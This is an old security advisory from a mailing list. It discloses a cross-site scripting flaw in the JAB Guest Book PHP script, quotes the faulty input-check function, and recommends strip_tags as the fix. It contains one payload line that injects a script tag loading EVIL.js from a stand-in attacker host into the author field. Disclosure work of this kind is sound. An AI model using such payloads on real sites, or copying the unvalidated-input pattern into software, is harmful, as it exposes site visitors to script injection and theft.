<<< Date Index >>>     <<< Thread Index >>>

XSS in JAB Guest Book



Script Name: JAB Guest Book
Authors: Barnz@xxxxxxxxxxxxx
Website: James Barnsley
Bug Report: NetJackal (nj[AT]hackerz[DOT]ir & nima_501[AT]yahoo[DOT]com)
Status: Patch not released
First i should apologize for my bad english.
Intro:
        JAB Guest Book is a free guest book written in PHP, it works using flat 
files 
to store data which means no database is needed. Features include easy 
installation
and customisation into your existing website. An administration panel which 
allows 
you to delete posts and ban users, additional administration configuration to 
un-ban
users and to use the bad word filter. Ability for users to post messages with 
topic,
email and comments including emotions (smilies). The main guest book works 
completely
using only one file.
Bugs Description:
        look at pbguestbook.php at line 425:
        
         
        function invalideregtest($input)
                {
                $checkcount = 0;
                
                //$exinput = str_split($input);
                
                $countname = count($exinput);
        
                for($i=0; $i<$countname; $i++)
                        {
                        if(!ereg("[A-Za-z0-9]", $input[$i]) == 1)
                                {
                                $checkcount++;
                                }
                        }
        
                if($checkcount != 0)
                        {
                        $input = "no";
                        }
                else
                        {
                        $input = "yes";
                        }
        
                return($input);
                }
        $check1 = invalideregtest($topic);
        
        script just check $topic by invalideregtest function. so what's happen 
if we put some thing lile
<SCRIPT SRC=http://Hacler/EVIL.js></script> in $author? yes true answer xss 
happens

Solution:
        Edit the code and check other inputs by invalideregtest function or 
simply remove html tags by
strip_tags function (PHP built-in function)